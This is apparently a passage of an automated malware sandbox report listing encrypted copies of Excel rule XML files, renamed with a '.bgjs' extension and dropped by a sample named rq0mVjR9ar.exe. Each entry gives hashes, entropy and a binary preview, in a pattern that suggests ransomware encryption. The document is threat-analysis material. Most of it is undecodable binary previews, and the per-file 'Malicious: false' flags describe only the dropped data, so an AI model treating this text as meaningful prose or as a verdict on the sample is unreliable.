Preview:	<?xmlw.Ea=W4.o....9).\h...b...ZUz...(o%tj..#{....P2...v....0...Q...;.nJ.4....G.y./.K9+=p../..).1._.Db..{11.s...,lP3N..'....>W....>izn.y...~..5.I_/.\|..0;.>g.<..&W^3Y...@:..R.?q..S....9I.`......0....[..=T..J}nO.W...`..v..........%....#i........!7...wT...2.d..T.....9P-......$...ZCW..3..x..S....k..$.....%..s@...tu}.~.N..yc0_.;.n.'8e..A...y]..#j...0......y.4.?.%.8..R...=$i0.2~...^..U...Yv+....b..M<..A.T...A.+..s.u0...c..8E.../....q.F].G.l.HgW..X2v9./.....S.,...{QDe.+Y.'..P4/.8.W..#^.o@.AD..d..J....P.i(x's...<_JR.P3.....@A...=...E.....1y.LI._..z%..i/...G...W3.R0.e.".^..mwc..T.......{...n.0.3.-...a.j..&d.>c.......2.f...&.....\|..H......U...v...#.i....E.8..i...<?He.:~Q.E....Iq..@..p.W......S.....q..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.683531992388201
Encrypted:	false
SSDEEP:	12:YnQc200PGWqQaX5SG48WVY9RAW6wnAXBftmtSKqGbRoeidmuxF6SfsBlgixpZacq:UQc2lPG7PX57LWOGdDpot1qGZxDGsBO1
MD5:	BBE1278354EE1DF02FE35FC97648B4CB
SHA1:	E060D7C586235779C92F819446677FA85DEBEF08
SHA-256:	DDA225FB2662DABAE0E1CE0009630B3628E360A4B6AA84AFB5BB2FAA2949E756
SHA-512:	508DB4595E6A3E6B835756C1D58F8DD008D5670442C668F8BB177A92E8C7E8A711BDCC57CC4AF4727CF9C06D9E02E38A37D2DECEC17C2BB5EB836789C5B9411F
Malicious:	false
Preview:	<?xml........b(X.......R..H2.T..Gc846.=)/..R..sx@..,..!...;.^{...+u.@...).._O.... ...V.'.....o.A........G..\|Qp..gh.v....."..>.O ..n.t...\.?.....h.&.e..!g..9..r..+...7%..#}7i.a.9g..i.fU=3.....g..~.0kP2..r........1../Y9.Q.bo.@B0.......H..;..O..7.Tm!P.4.~sT.4uw.hr..7..z....}.........V3L..=..KS....Q.@..................aw..H..n6.E.......U..............&a...=........V..$....z..........ac..=N6......nC..4.....nj.i..]..8%..(..0.j-....J..7...4..(...{...i....$..$.........h.....Q...9......g.=.9.....c~.)...}\|..m8\|x.Z.I.-~'.A.yFE.g..O;.... Wb..+.xIh0...).E[.....~.....u....qV.WIx...`..L..>k.N?yO...d.I..j..".m..#j.....#&1.n<q..#tZCtpHE&.YP.kr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.738990820911331
Encrypted:	false
SSDEEP:	24:/aGPmC1hG/de5IyiLTJ0u6+TkmwqhRL4wZiTkbD:aeYe5IjT+u6ckTqhRL4w4iD
MD5:	C68AE188C4C5B89663C1623F53E963F9
SHA1:	673CBE5EB0DC8BC6BDBF5633540BD6B5954B8603
SHA-256:	C3BC71A2263AC9CA678104AE6EC600D02EFE2EC2D7114AEDEB4BC61E7A05BB1F
SHA-512:	3C3B5AC29C31368C85E545FB33DA5C82D2DF925B93482394C9C418F0C22BCF9BA01B0F80779B0D404743DF7D7C8CF0B9D9D83149A96F7252AD64C2F4B5691159
Malicious:	false
Preview:	<?xml.c<..(...ai/./....[..y..2.....'W.."O++..J..+T......\|.=....>z..I......!BJ1?...^.........}2j...hI#...USqJ...'.'...t...rv..0.a\....JC..&ND..[.QN.....4.v.[<......?.........%}-7.L5.>3...Q.n...R...1.??.J'....c....N..^q%..8..l..3.3..4.>... y...\..wD8.k.l....T.p...".......n...n..f...&...\.....".%....@N.=.\...og...ou.m....J7.o.....9.......Wnb...........m..... ...HB.....o2a.m..I.7i.U,.q..iXh.._.>.w.p..K.......m..G....,..mZ]t..m2p.65)(..a,.n.[.nM.2..\...}sn.c.I.D....l=.2.KyK......^..@..}..E...D.:S...u....bb...v...\|..[p<.1`..x`C"..G.@....BI.c..F.]!&.].8.aA.zh../R.\/%#..UV..>.XeCv......4....Z7.. 3.C\|..j..e.O...s..N,!9..._...U.s.g....YKq....fI....=0...ox....}Y.F8..K..3.b.==g..V.e......1....\.S.).r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.703225407636289
Encrypted:	false
SSDEEP:	12:C4sq+/hsQxua2tYHjY1DR58crArQuD0NhN99+87kJdqfrYQvMAzkvql+J16ixpZE:H+/hsQxua2tMG8crmQuDuHKq0QkAzkSR
MD5:	18615078A399D26D5582C6ECCDE4DF16
SHA1:	80ABE153A6DC8848EE31E99B53CE5ACA8400CD1E
SHA-256:	9F422AC057865150EF4938722A3B0A1A537CCAD1E2239929B69AE75C4352DD03
SHA-512:	1F5441F0DA540A5A42B2805149B50179B7A65577FDA8DD56800584EC3B4BE3778B298DA18F438399970F5362D420954AE1BC40A3B52F90AE1C06303073729A77
Malicious:	false
Preview:	<?xml.-.....o,]k.{...\|.;.}.[.((.a7..Wnb...+}...s.Z..3...."Q#.f.u.u.#..[-b..../..O. ].M........w..V....B...8.:.h.yL>.#..( _.Sm ....1..5-.MPL.......i.9.....KM..)..G$.}u..>l..m....-&.pD..\|.-.-bo.;g.H...2I.H...`RI.c.UI%h...j.`.....c..\fplYu..dw.........,2.,6.....n`.S.....m.D.@/!..Hz.t..\|....e..I.Ef.....T..^7.v.....^.U...v...."...!....\<..h.6.5.A]2..'...2.rP.{.....m+.....w.....pI..4b..6.......G.....ri...z=e.d..o.DtZG/.t..\|d.j...I.......mY....<.^.G.p&..x... w!...'..hb.h.p.j..u.(I..us.~.<Z)...pEFW.\|@a....2...#.[.W.Q+....z......./..:.y...a....H{/..].rL.,.cx#...h.$^I.w....,.....5l.m...fm...I"..7j.'.E)/..+.........b.....`&Z.u&..Z..BA.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.690998630238353
Encrypted:	false
SSDEEP:	24:Sk2bJ8u979u2E2mylrrXCWubgazfEc6UrTVIOiTkbD:SkS8Y9pEvEyW8gaTE/+mriD
MD5:	964B387826D2D831F020249125AA2B77
SHA1:	8CE02ED4C8770F1BE13A26BC3935686ED34D2879
SHA-256:	B0FAC1E1FD15B20DCDD4CE7F5BE0C694ECB3CE97776906EF7CC71D7ECE7BF58E
SHA-512:	6F00BD61DE560F51DF714063BDC88732557513B8E63D7B6F844D13372D76931BEB71E2ACF6A714FC49B8973D687B3EE79110610C349F4DD26994F3293F766841
Malicious:	false
Preview:	<?xmltX....g>_lk..K.e`....u.J....w?..+....Y..]..@@....T.s...t..x.Z..S..f.L.$^.=..oWi8...s.N6....3.1..&.d....~...,....Q..@..s#......B@...O......F. 2...-.\|(......&...Jfc...Eh.k..n....<......^..-...(.......t..1.I..6E.>..nd.Pf..3.K.Q...............~.~..^...l.4...vO+..`m.27.....W;H..,.....y..0.r.&...W..v.V.\|k..e../PL...5>..%2..&.Bj...1!.!8.'.H..v.=9.L4.........N.....8O.1..>...'...is.I(.......:...i..I`..X..>B.o.<.Z.%.L.9ZK..A.\|L()C........q0.M..N..'....w.H.h:(..`0.j.V.30.X...yA}Z...(...j...[P9..%^wM}.fYiXA.:.(.....\|p..m........j..G..2.}.ty......*...j.....M..} ......Z.S...YQ......!....:....\.....Td...2Yz.C..k.(....=.?.cH ^.@.x.."..7....a.=.%..T[..8._.e.\|}u.{.Y.......B;M.....x8. .....Y\|...F~r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.653312209882263
Encrypted:	false
SSDEEP:	12:rFiAyLnwbTuoPMjOZjAnWMyegolVmhQVr3C4Y5GtUYf/xS1X1UPn55dz9bMxC/iq:ZiAyLwPhPMjpWMJLmGZ3CPGVU1FUP55H
MD5:	E691FF4B221A717A7A36F74BEE9ED2C7
SHA1:	B4AF1B1FF787D5D451E929E39D7E39FD496D9F67
SHA-256:	A3239A2641A0D512D7977E186EB7EF0991C6B2131FB9B6C9247CE81ED8350610
SHA-512:	4D631F545B17CCC9F1A8D0C5BAACDEE644DB804E47D6590043712910765CA7D234C8E2B7188BD457A9586545EC5B2AA120BA37D72B9C96DA8971DEEA9A723E59
Malicious:	false
Preview:	<?xml.]d..P[],.G.:#y....K4.[..Za...j........;D<.G.f..2e...r.J....)X.n?.o......kY.......wT......d..~I.nt.NZJ...Y.%^...?.Nyr...<D..>..7...b.6.....&....p.t.F..e..]...!....D.[..+<....Ia.t8.A.......vB.\|..Z.mu.Tm..)s.......pjs9.\.[q..E...3._.j....&.-..{.k..4...=s....&..1?.7.z4...... .h.j.-.7...C.)h.]N.."O\|Ui.(...Pd.5..C.1.Fc...........*.u....]<H...R. Xp..#4.%/4[]Y.....=\N..$.F{.../s^..2.&.<^..V..C>D.AK...=..#.Ef.nw.;.)..~.....m..E.........G....Q.a.(%...z.dJ.M.v....7Q..4.g.4..F$.Y..~Y.....k....}j.{b.2w6C.x9vk...C.0i......'d...T.?4.....ybHO.O@.[M]5ZC........4O...~..8._....t%.a.a].BY.,i..<A..N...7...1...1 .....~[.....Q..\|=...F..F3.DE...w..4...J.G.h].r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.73432167674221
Encrypted:	false
SSDEEP:	12:hc1rzmSRnAFvoNAogqux9GRfCHVYdPFN4N3u9eyiOxy2RJuL6oL6khXNRfYIe4R7:2ryGAFv+WGnPj4b2RwnLfd5YCiTkbD
MD5:	DCE398BC33B3C9758F0A3B86DD1973D1
SHA1:	4B4B73073C7FAB641979B61D1C55FD5E5316C090
SHA-256:	E0B94301F240B95A877F3FD75BE5F52AC4EA2EDE752D6AB3FEAD859F43779DD9
SHA-512:	B85BDB0F0B4C4D96132A08B1D90E98F381B0F0A886906CFDB5B687E56CDF1D9C4FD78318F4043953F0C43565D8B2A0C74384E90E7600556EAE99867CA0E56183
Malicious:	false
Preview:	<?xml..V[..%.0tK[g...KRH..S..>.A0@O&......$.Q.....R....T..n.$I.:.ch...t.....V[...+4.a..xHL.i}zYZ.$.E...O.......c(....wu\|...nT._...-.+m....y.k.+3....5U...6~-.V.CduH.M......:j...\.;f.b.+........Aw.W...;4#gy...#:...Z.....q.%.8n..M....td...+....}.B..=p..;(....P%?.N..O....-......,N`...~...-....(........Z.}.4......\.OF+l.g..20.Q...:...H..?UO...c.G.4g.]..O.u.P.7.\|8".p\;vxOu..\|....g.....%.......a.%.._p<f..l....<.2.]....h{...u....CAV.Fr..;.V.....B......c.U^.....>..U..gI..w...............k....[.z...[TDy...b..8.q{.38..s..y...{..h...H.[..-@........."..Jw.S..!.\F.......$..".c.m...)..%;E...+..m...P---. .@...6.;.~[.j>..J...`Sy.....Kw.J.......z_."l"[..z)L?\..x.'.-..~..)79E..K..0.W4AG..P.dE....#.q.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.6826153431344375
Encrypted:	false
SSDEEP:	24:qVtkANPA75UnX+4AMvKJ5K7gylGT74MiTkbD:qVtPAVUuIvK6RlGT0liD
MD5:	6FD02BCF7C01AC497043BCCB4C431107
SHA1:	3B1D19C946F99153074138BEF20E2473584986A6
SHA-256:	F5970317B7BF5F3027B7896FD0665DA9DC9781BC14B04233351192AB66491660
SHA-512:	139279F93AD403391F5BD7F2CC6F99068F2FC6D1BC3B0D9E4D2222600B371051295361E18BCB6A6D8BE6D0239605AB1DDF5899A684DB3CA7C807F0A6B99E35E4
Malicious:	false
Preview:	<?xml.$..Z.....Ae..}...].>q...a...s...=....>.......rW9<.D.....5._!...#...nL..#.l...8H9h...<.6.......C_..KZ........>.D...^..I.E....t...+>A~...-.#.m..}....w..q....F...G....yk;..i....p..1..km..'..O.<..K~..'.c.&'-\|...{g..m...$H.N.dy..Q{..2..a.....Eu......X.b....t.....5...x....Zw.....$......C...9.[...t.H[e`7q5\C.:..<r......0$2lb..>].V....GY..rC.hTi59,s.}S.m{l-........P...\.Ec.....-..{i.........-........V.....C........f\|..!..Y.D.;...Jggv.S}..,[.$..........p.\..F.Ix.(.#c......$..#....}.@z.0.O"8.?t......<.>.....k.{....w..J&.&.......Td.4V.c.g....\..+`zv.n....vn...<3s8......MI....{..E[..M%.Z.-..3...77.n.....e..l<v...Tbp....$.1Y\|.z.../d..Q\|..\|LB5.....g.7.1..i.....g-..\.M..zf..J...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.71240690305463
Encrypted:	false
SSDEEP:	24:qGfWlBX3oOMii38okgDHJv4xTp74WWcUiTkbD:Dej3ojBsPgk48NiD
MD5:	D4CE86C1231C3B370C9A820D35924158
SHA1:	5B743AF0E4260366770AAA99ACF5A906F1D7C969
SHA-256:	BCCB6E01899C1A6AEDB7F970B381D93CE333F9A1CFA20D328AF1161C1D00568C
SHA-512:	E969DBD3A3C6D4B37879AFAB1C726F4BD9306ECD89CB6FA0D4015A8ADF2312448F3A09594AD8EAF079FD7CADF265F34B8222B181FE2DF34F4694EFF1220B9125
Malicious:	false
Preview:	<?xml..D{..3.$T..o.....7....JU..Y\!x..,..k......>..j.2..........Z....cR....z..{..N.7.....s..}k.MMX...z..(..!`.{T.qWe<...f..jk....Gt..6G.....+j...q9.M]?..'.5%wT......&..ZY.BB..4c.i6..]..{.W.,...K...L.JY.0......++E..[.,j.)..\| .%3a...,....w...T..V....#.3..K~"F.;.!.@......Cl...k.b.8..[.2......QX..F<..nF\..F.....>.+..\.+?.D....+.^n........._.F. .1d..Mgo.....b@m.\].+......./0...`..!`^....{..s...Vs..Q...L....G...\.&.@B3<....B.C.1\|..ti....U.....nl..I....E....9`.G..X...b9....$..%..r.#...V....w.!......Y8wW...^...3R)..3..m.....X.....S..`dC...fZ]..b.....%..NPQ..bQ..sv...5...g..f_.x..#..*I.$......kq......n&3. .h...+a.Z.S....b.F.7.2g_..\.....{.H5.f`.h.I...^.......D...t....[.%..p..6N/.!&tgV.$..[..Y3....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.707936758725279
Encrypted:	false
SSDEEP:	12:AjPDOYwg6NZyVHylpyAIVGJ/9mGM1MemiFbJlvoC19cPTKFxXwfzen1PeCQUBujQ:AjPaYwg6Lybh41AG4N19cL2XRwrt+iTW
MD5:	00673C4A54EAEFFE859C179CB4E63D0F
SHA1:	B51F9565E21822867ED49B6C7B44B8DEC3E6B547
SHA-256:	6C890A54724BA255C94EF7D9C99A9F06B556B450D7D1FB7455BD8229AE2CD1C8
SHA-512:	1C3CE4FF6CB0D91332F93542B871044F203886C29C2966524A33ECD1BF48E3655105AAD71AE3BF4A20E7A094B81401998B3552DA1DD31B84D4F844BBB76AE155
Malicious:	false
Preview:	<?xml=..k.On..."I.8j..u.....;.o#.%..3N...}.~......wRS.M1'afF..Y.+f....Z.r.... F.UB^.<..&.....0.....\..U...J..Y.!<.3x.....@..+.%.I.qH.p5..D)... Aa......+..9R...a.C5....<.....z.v..#t;....M.+...h..\!........@.......>.y.-..o.vs...F.D.r...hw.......D.....N..A.8..Q........CT..<.WzE.q=3\|.?...-7!...mO..QL..(.8..`T.S.R....7..7...d..q+..2....P...C\|.;5A.............8.9.,...zv...s...Nq,.}...E.B..v.cF...I`I.s.....K...a,s....8.4u;....t..j......A.G_.^............$..P.#U..Uw.....yt.h.\.v%.D...=..}....&...H...4j....Rm...1[......i.S.......U...v..,.Py.g.n.i {.d.jJ.8..NPW.<.95`%..G..>....>.l6........i1.V.._..u}@]O..Q.@.4O.76J.....6.?..M.Zr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.721985085432473
Encrypted:	false
SSDEEP:	24:lahijQcTg3R0V0AZe9v3v0avPyt6tJLiTkbD:lMijQ4g3RnAZw3yt6tIiD
MD5:	6E53D1E398D79DC877C750B07BD6C569
SHA1:	16A5C9399275374E78EACDC8623D333EB9D852C6
SHA-256:	522462CD5E19864F434E2ABFCAB18E788DE38E59E4AE81A8D6B0E70C085CB019
SHA-512:	CF3B9EACEC9B457BF4BB255552A7C82DF0540D495F586EF94CE1A91F7693782C6A9CEC20C05EE5A165A32735C7EB1A5456E78CA1FE60782E6C8475242DDD7046
Malicious:	false
Preview:	<?xml..}A6...yv.2...u..q-.@F^J.....r^!..r.7......H..b> J..p"-.$.?....y.%M..(.E.b<i..I.<t..1.....am.~.A..}..9.S....-..p.R.(.....Z&.jx.5lI..&..#W.......a.TM...C:.q..q.k....;...X.u5....W\3.S....-.4........yQL......6....r......B..[.-.5.B&...<cn..m}#O.%..O....V..U.L.n.s.....=..&.........j..2.\.z.j+.;......w..o..^k...Q(....+.3:.6.Z..]xLM...I.;.4K.nY.4...\.C..S.z...!...c.F.h.XM..:2....`M.1....l..f...$..\|..q3.4'........r.? ..Y..]..9."...~.._K......dK....FqD.R.f7..7_...5..UT.M..<...........N......W...>...m..K~..9J.>..Pz!R.......+=)z....8}.........E.2..Z....4.Z....v.../....[..Z.H.-D..s./..W..H$,^G=.i._e2..G..E...Y_A...]....$......jw.........,.9.r.K.p...dr....?.y3.....c.....DS..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.71580693889628
Encrypted:	false
SSDEEP:	12:CMdusaOvPPYipLaf+nYNrxfqpBF5rIxoDshQQyaM/s6afbFcCJgAvUkdmg31i1zJ:CY0OvDla2YNNif3IXQQyl0DF4AvUgmM2
MD5:	50E9B997AD40ADFA78AF2A4F9658CB91
SHA1:	3C2A2006A4EDF2558AB2CD90CFCD79159CA1205C
SHA-256:	D284CC4901FCBF94D12D5409B8BD2BFCFFBA53C7ADD888011ECC9AE6D0EC7682
SHA-512:	A42D1002AF8FF135103AC732CC543C2CE9C50474D74AB580516F06F47CB272351EEC3A8FF70916C446DD3A2595909ED71BC56050FDC3C0AF92B78483DB8515E0
Malicious:	false
Preview:	<?xmlc...4..}..vY....85.2ep-c.Yt..Q...]_5../;......f..]..g>@....T.n.c)......&.G.!Q.v.p%C........hv.$.Zf'.."....h..."=]...q..\.....L.eR"...(u...<...~.Q./<..4"..,.. .-...........%.C....3...D.0...w....8...?{...l..U...;.._.q.4...L.L.....- .. . .....{.0.$.....>ysY.......a..T.../6.QE.G\|......0..e..G`..@.yB.2`..$....0~..!...=...5....E&.....z..^7T.U!\$h...s..(\|......w4;.'\..~..S...L....W.m...HX...+qGg.$.w....F....@&.+...5.Na~v.......5.C....XFi$.....p.N{#........f.... ..A..yL..V.....z.\|'...U.......2...~.P.&dm./.n...\....U..Jl*.-T_I.Q....h.STC..i....!...c....cz..=._...L..........{47...X.....~$......z!...3.2e\#~..........x..0...T.0..{...3...6......,gW...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.737050078447438
Encrypted:	false
SSDEEP:	24:inw6rRX8myRnZSxInbV9FVTrfAGb91jJZnoEleG5iTkbD:iwGRMmyWERrb91LowYiD
MD5:	609B44F32C9877692610F310B60127EA
SHA1:	55E549B1755E189F363E0943333057AB71B4446A
SHA-256:	9FCD2A7669408ACE36F8BFDFD8228B01E24DE5D4AB93EA41C34AB621CD03479A
SHA-512:	44B5BEBD0C373F875B054E35D9762A13A151EC418C28F5F34B95B8C0DC17B958A5A8FE9362AB5B73D6CEB9B2A2F8514D686B29AFBE90993BB0941F65C42DCBCC
Malicious:	false
Preview:	<?xml...-3.&9.^:8..`.....(....2..Rx....'.yUWxR..:......5.\|.A..W.O.......VO...a..g8 .NJ......o.[..o..%..i.{X.\|.F..[$..o..}.w...T;.7r...V.....?..L.2..?W?......a+...X..........9.m.....ry.w.E3..\|.&..=@f"...88.o....Uq..l.$.-..H...#...._.%...+.q..3.<.yz....W..^....=6..[...R..>..W......F...A4.e..1...eK./..o...1...'.X..(..dX{X{a^jM.AVz6W..j1l... L........G..h...Z..^A.x......VB.Y.b.s.C..Id.v..<s.[.!m...8."..!.\..p.0...>..{$V.$..[.Xh........j`!n.[.]...RW,..b...G.....i....3.^!o..%m#..B.m%.=..U0.-.."..9"..P...:........0...\|/.N.j..P.....f.B`+N;T%....E...tYu_...v.T..}..kF...a...Z.-U....G..ip-.e..x...W....E..l6d....D+.~..U...h...I....`......:..Y......K..Ru...93Y0.p..Z....W.F.......![...'_..Mf.&..0.-.fQ&....l.... [..r.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.675982368610923
Encrypted:	false
SSDEEP:	12:tSNrRukoil4gYJnOWyBcBZBLHVNFFhTdUEOCjJ7QqkMhUiixpZacii9a:s0ko04d5OWugnFFhpUNAJ0xMhUiiTkbD
MD5:	0A1E72F134B23B235EDB66EECAFAADD6
SHA1:	AB9CCB700BC7B4BB359082BAA1D9CCCF14A9764D
SHA-256:	F21E1798F2CF1465F551841B9AAB21258698CF5D402DA378FD62170E68C0247D
SHA-512:	4C51699954202E000D49E36AE012A8C63BAC73B1D1B524CB06B567F4782ED6223A1F6745BD6C73901EB127FEAD825EDB9CE717170D5F32786EEF574997490E7C
Malicious:	false
Preview:	<?xml.dSc.....i.{..4..^......~.+.~...f..7,...\|.%......E..,s...Q .x....!t-..~.kEBxs".u.>w'..:6...{A.J.@..A..Dou.I.+`.!A...>.W.\M.;v.}).......~.Y....;Q..5..s..w.J..u.iH&.2..`\.q..^Kr...`.g........)v.p}b....c..}=.,....zo.i.....L~.2G../R..R.q^Z.1..5...:.wx......5r.../X0..4!U....%...8@.;M.^g(.M#.zzo......l.'.YBC..>....K...6X.A...c.n2.(..........d......1Q.....{...Tf.v....gY....V.U5ti.^1L....t....T..........0..{....O[V.N.j0..e....!I>I..b.Vg....Gp.TpTY..G-...D.Y.HI@..j. 3...z1KQA..p..F!3...C..k....m...c.J ....v^..&..`BC...Ma..1....8.E.\|CY.Q.L.s....+....!.A.9....fyS.M.=Ph.>.0.U...!...)..O.'YJ.4..2D}..0.p.B.......wW.g?1...8...g....]..H.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.741184854672919
Encrypted:	false
SSDEEP:	24:MhqHxt/Ays75CJCYdeXTfKk03jh8Ht/EfMBCkiTkbD:MhqR9fIMJuXTfb0uH709iD
MD5:	AFEFD82E96BF8C48DCEFDE82967066EC
SHA1:	8DBAC660857891AE17F6A797A4116E01870AD8FC
SHA-256:	BD52A86FD198AA9D1E56E4A11A462FA2C938F0029CD0A79E231D1931AF4FA66E
SHA-512:	F060E98220F7E98F88269ED043A5D801D7B45F16292631A5E237050580CAAEC7AE38B6BA1C532864802981F6B3260F77CA8C905594A458BAE5FA2E61B391FEB5
Malicious:	false
Preview:	<?xml.....9+O..]..j..@.....zI...8...!.....]......N+H.M..\.0=. [8!...F.i.........#:.)...\..(]R]..5i.....E.W..o~.g!...,...fc....P..[M..'.}..M.}%O:.......q..8...].h.....]..J.~...@.i.=..s..H%l8.......G. ....6.....%:.J.P.%.`..P........2..;..\|..\. b5U.A......]<..).....%.......g9'..W.....vA..&.5..._.:".Yc.a...'2!}.5...?.........G.{.{R........@F.K......[~...+....s&.....U......U'+K.D..V.Ox....x...7L..Sd..d.Y..(".(h.$P..,..<B"..../@17)....;`....{....B.J..~.x.W.b...:..9.y.W....f..<...`..B-gV#...4.K..b.(...h{&._...@...Q...p.-.z.m!.g.......<"U....w.cH..!..2?l.&.Y...god.T..(Z..b.?....!E.h!.>+.v.+.q.W.e.H;....p....V.{G......z}iy..-...m>4....0..(.....j)@Y.. M..5Ol.}.Lw+.J.(..........hO.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.70224450048598
Encrypted:	false
SSDEEP:	12:fAtjoEmrG8JsprcEWmCD4dPl9DVcMohzfVkNyaO2DzYP5+6pvRuoVixpZacii9a:qjoEj8OYdmCD4RZSfVpc6hiTkbD
MD5:	FB9A6371B07248D087664FAB7BE82DC7
SHA1:	5BFA1EB3657FCCE14280238384B32AEF5DBECB8F
SHA-256:	AFEFF5EF0B9F966CE2EC601F012FB4EE5DD8C20B6866CAA36CBB4A913B4247DD
SHA-512:	E95C36F6355C464D417E243C0B92FDDEB5CC0F940F40455ABFCA218BF2AD26F621959EAA706720A557FF3E0CC35C2EDEBC237A3DFCB79A836BA4ECBE312988E2
Malicious:	false
Preview:	<?xml..6'..~gl..u7... x. 7.Ic.....j..rq.s*v5....T.f....O...C.[......D..o#N....qwk..wW#..r'0."o..........w.....e'~......d.......a......%0.s;s0.:....L...E.+.P!BP.;..r......j.g..j..(A......s..Xp...2o.\_..8.J...}.c.~.ZQE...~.....}.T....{.A.....N\|..R...P....a..1.....@ow..fB.m#.........<,0`....).#.#..t.r.n.+..?.E.....!.....K....7C(.,....G.=.!..~.b.....Xi.J@L...u../9...w...y.3ou.Qz<......8.....\..IN?...x4..y.G$.2..~......w.'.Ypz..Y.e...\.tp<.^.(w#D^U2.Pv.@....-.`......r...~N...>..\(x+G..v...j.4.zp?%...Y'.^.\|..v.....9..Ol...r]9h..:.....:.K)g\|..HS..E......r...3iS.S.?......z7.de\|..o,.Si..Dlo..M^....Y.N."....\..\.,.....n.{...&.k..;.O...N.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5